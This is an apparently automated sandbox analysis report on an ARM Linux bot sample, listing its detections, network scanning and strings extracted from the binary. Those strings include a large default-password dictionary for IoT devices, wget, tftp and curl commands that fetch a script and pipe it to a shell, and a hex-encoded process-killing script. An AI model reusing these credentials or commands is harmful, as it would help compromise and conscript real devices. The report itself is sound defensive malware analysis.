Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1544354
MD5: 690cff6e160189e11d9368072b3e3371
SHA1: 7d895c094bcd0d55ba0dd84ac2489131cc3a5130
SHA256: 74a99bbf42eab98bc632b162753c2c38ba3b491caf027dd7d849a752f48420cc
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 61543,1,3,4,5,6
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:51348 -> 103.253.147.242:61543
Sample listens on a socket
Source: /tmp/la.bot.arm.elf (PID: 5492) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 203.179.242.171
Source: unknown TCP traffic detected without corresponding DNS query: 158.50.245.101
Source: unknown TCP traffic detected without corresponding DNS query: 203.179.242.171
Source: unknown TCP traffic detected without corresponding DNS query: 158.50.245.101
Source: unknown TCP traffic detected without corresponding DNS query: 139.230.27.81
Source: unknown TCP traffic detected without corresponding DNS query: 139.230.27.81
Source: unknown TCP traffic detected without corresponding DNS query: 197.101.52.2
Source: unknown TCP traffic detected without corresponding DNS query: 133.159.149.18
Source: unknown TCP traffic detected without corresponding DNS query: 197.101.52.2
Source: unknown TCP traffic detected without corresponding DNS query: 5.250.183.81
Source: unknown TCP traffic detected without corresponding DNS query: 133.159.149.18
Source: unknown TCP traffic detected without corresponding DNS query: 48.44.90.220
Source: unknown TCP traffic detected without corresponding DNS query: 5.250.183.81
Source: unknown TCP traffic detected without corresponding DNS query: 198.196.49.173
Source: unknown TCP traffic detected without corresponding DNS query: 48.44.90.220
Source: unknown TCP traffic detected without corresponding DNS query: 199.226.148.26
Source: unknown TCP traffic detected without corresponding DNS query: 198.196.49.173
Source: unknown TCP traffic detected without corresponding DNS query: 67.81.31.38
Source: unknown TCP traffic detected without corresponding DNS query: 199.226.148.26
Source: unknown TCP traffic detected without corresponding DNS query: 72.142.57.19
Source: unknown TCP traffic detected without corresponding DNS query: 67.81.31.38
Source: unknown TCP traffic detected without corresponding DNS query: 99.171.235.251
Source: unknown TCP traffic detected without corresponding DNS query: 72.142.57.19
Source: unknown TCP traffic detected without corresponding DNS query: 189.21.153.187
Source: unknown TCP traffic detected without corresponding DNS query: 99.171.235.251
Source: unknown TCP traffic detected without corresponding DNS query: 150.217.217.95
Source: unknown TCP traffic detected without corresponding DNS query: 135.138.189.21
Source: unknown TCP traffic detected without corresponding DNS query: 189.21.153.187
Source: unknown TCP traffic detected without corresponding DNS query: 166.128.67.246
Source: unknown TCP traffic detected without corresponding DNS query: 150.217.217.95
Source: unknown TCP traffic detected without corresponding DNS query: 142.33.103.14
Source: unknown TCP traffic detected without corresponding DNS query: 135.138.189.21
Source: unknown TCP traffic detected without corresponding DNS query: 60.143.237.80
Source: unknown TCP traffic detected without corresponding DNS query: 166.128.67.246
Source: unknown TCP traffic detected without corresponding DNS query: 175.120.241.68
Source: unknown TCP traffic detected without corresponding DNS query: 142.33.103.14
Source: unknown TCP traffic detected without corresponding DNS query: 190.37.1.31
Source: unknown TCP traffic detected without corresponding DNS query: 60.143.237.80
Source: unknown TCP traffic detected without corresponding DNS query: 177.223.195.92
Source: unknown TCP traffic detected without corresponding DNS query: 175.120.241.68
Source: unknown TCP traffic detected without corresponding DNS query: 153.98.25.128
Source: unknown TCP traffic detected without corresponding DNS query: 190.37.1.31
Source: unknown TCP traffic detected without corresponding DNS query: 207.74.72.63
Source: unknown TCP traffic detected without corresponding DNS query: 60.194.39.177
Source: unknown TCP traffic detected without corresponding DNS query: 177.223.195.92
Source: unknown TCP traffic detected without corresponding DNS query: 153.98.25.128
Source: unknown TCP traffic detected without corresponding DNS query: 165.156.117.148
Source: unknown TCP traffic detected without corresponding DNS query: 207.74.72.63
Source: unknown TCP traffic detected without corresponding DNS query: 106.11.254.143
Source: unknown TCP traffic detected without corresponding DNS query: 60.194.39.177
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm.elf (PID: 5494) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: classification engine Classification label: mal52.troj.linELF@0/0@2/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/928/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/135/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5494) File opened: /proc/276/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm.elf (PID: 5492) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 5492.1.00007ffd554d2000.00007ffd554f3000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 5492.1.0000564ff3af3000.0000564ff3c41000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5492.1.0000564ff3af3000.0000564ff3c41000.rw-.sdmp Binary or memory string: OV!/etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5492.1.00007ffd554d2000.00007ffd554f3000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
33.141.85.127
 unknown United States
2686 ATGS-MMD-ASUS false
49.165.249.135
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
113.41.87.95
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
83.147.119.150
 unknown Italy
31222 ASN-TERRAIT false
15.211.66.93
 unknown United States
7430 TANDEMUS false
12.235.128.216
 unknown United States
7018 ATT-INTERNET4US false
116.248.122.119
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
102.8.14.101
 unknown unknown
37069 MOBINILEG false
210.160.184.13
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
177.156.194.160
 unknown Brazil
18881 TELEFONICABRASILSABR false
86.219.128.93
 unknown France
3215 FranceTelecom-OrangeFR false
215.93.160.249
 unknown United States
721 DNIC-ASBLK-00721-00726US false
186.26.46.249
 unknown Venezuela
27889 TelecomunicacionesMOVILNETVE false
42.155.95.139
 unknown Malaysia
9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
61.48.36.221
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
213.75.94.61
 unknown Netherlands
8737 PTNL false
199.27.192.149
 unknown United States
22398 NT-TUS false
13.26.85.182
 unknown United States
26662 XEROX-WVUS false
18.99.245.168
 unknown United States
3 MIT-GATEWAYSUS false
25.187.249.167
 unknown United Kingdom
7922 COMCAST-7922US false
30.102.18.82
 unknown United States
7922 COMCAST-7922US false
159.32.191.177
 unknown Canada
25019 SAUDINETSTC-ASSA false
90.118.210.35
 unknown France
3215 FranceTelecom-OrangeFR false
157.83.157.115
 unknown United Kingdom
206237 BARCLAYS_BPSGB false
189.230.128.0
 unknown Mexico
8151 UninetSAdeCVMX false
28.76.160.125
 unknown United States
7922 COMCAST-7922US false
213.210.170.129
 unknown Czech Republic
5588 GTSCEGTSCentralEuropeAntelGermanyCZ false
204.92.248.151
 unknown United States
701 UUNETUS false
122.81.155.179
 unknown China
45069 CNNIC-CTTSDNET-APchinatietongShandongnetCN false
128.26.54.77
 unknown United States
27138 DNIC-ASBLK-27032-27159US false
117.128.8.102
 unknown China
56048 CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN false
179.128.192.157
 unknown Brazil
26599 TELEFONICABRASILSABR false
182.169.246.192
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
197.234.133.93
 unknown South Africa
37315 CipherWaveZA false
150.235.86.101
 unknown United States
122 UPMC-AS122US false
202.84.43.175
 unknown Bangladesh
9230 BOL-BD-APBangladeshOnlineLtdBD false
41.240.121.79
 unknown Sudan
36998 SDN-MOBITELSD false
66.103.106.210
 unknown United States
12191 LEBAN-ASUS false
176.246.172.80
 unknown Italy
30722 VODAFONE-IT-ASNIT false
13.74.20.227
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
194.64.137.39
 unknown Germany
4589 EASYNETEasynetGlobalServicesEU false
107.147.199.226
 unknown United States
33363 BHN-33363US false
116.163.112.179
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
138.232.7.240
 unknown Austria
1110 UniversityofInnsbruckAT false
103.29.190.229
 unknown Thailand
45328 NIPA-AS-THNIPATECHNOLOGYCOLTDTH false
80.232.206.249
 unknown Latvia
12578 APOLLO-ASLatviaLV false
204.108.123.185
 unknown United States
30193 LAUSD-ASUS false
109.144.211.61
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
71.117.219.17
 unknown United States
701 UUNETUS false
71.186.47.243
 unknown United States
701 UUNETUS false
18.161.81.41
 unknown United States
3 MIT-GATEWAYSUS false
215.245.171.26
 unknown United States
721 DNIC-ASBLK-00721-00726US false
103.211.55.235
 unknown India
133982 EXCITEL-AS-INExcitelBroadbandPrivateLimitedIN false
16.166.35.24
 unknown United States
unknown unknown false
209.141.168.131
 unknown Canada
54614 CIKTELECOM-CABLECA false
28.152.225.127
 unknown United States
7922 COMCAST-7922US false
220.58.123.208
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
98.123.32.150
 unknown United States
10796 TWC-10796-MIDWESTUS false
17.204.121.188
 unknown United States
714 APPLE-ENGINEERINGUS false
199.123.207.13
 unknown United States
15108 ALLO-COMMUS false
90.247.176.108
 unknown United Kingdom
5378 VodafoneGB false
135.233.39.88
 unknown United States
10455 LUCENT-CIOUS false
141.227.90.174
 unknown France
21070 TOTALFR false
165.24.89.51
 unknown United States
394917 SDUSDUS false
56.126.213.57
 unknown United States
2686 ATGS-MMD-ASUS false
131.14.105.91
 unknown United States
61458 GOBIERNOAUTONOMOMUNICIPALDELAPAZBO false
176.210.232.181
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
174.162.72.9
 unknown United States
7922 COMCAST-7922US false
40.179.214.98
 unknown United States
4249 LILLY-ASUS false
115.229.215.196
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
215.17.92.79
 unknown United States
721 DNIC-ASBLK-00721-00726US false
218.93.71.238
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
30.54.92.40
 unknown United States
7922 COMCAST-7922US false
122.109.12.219
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
137.105.109.222
 unknown United Kingdom
3128 BRUWS-AS3128US false
145.156.59.246
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
136.102.241.44
 unknown United States
60311 ONEFMCH false
156.21.102.86
 unknown United States
29975 VODACOM-ZA false
36.226.50.151
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
205.156.29.176
 unknown United States
6629 NOAA-ASUS false
115.239.142.11
 unknown China
58461 CT-HANGZHOU-IDCNo288Fu-chunRoadCN false
206.190.235.20
 unknown Canada
25820 IT7NETCA false
48.249.90.27
 unknown United States
2686 ATGS-MMD-ASUS false
139.171.204.209
 unknown United States
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
165.245.183.182
 unknown United States
4668 LGNET-AS-KRLGCNSKR false
148.104.249.47
 unknown United States
7834 L3HARRIS-TECHNOLOGIESUS false
148.42.5.215
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
160.159.163.48
 unknown Tunisia
37492 ORANGE-TN false
155.40.200.19
 unknown United States
24324 KORDIA-TRANSIT-AS-APKordiaLimitedNZ false
128.91.213.37
 unknown United States
55 UPENNUS false
143.53.80.209
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
99.5.130.82
 unknown United States
7018 ATT-INTERNET4US false
58.100.139.116
 unknown China
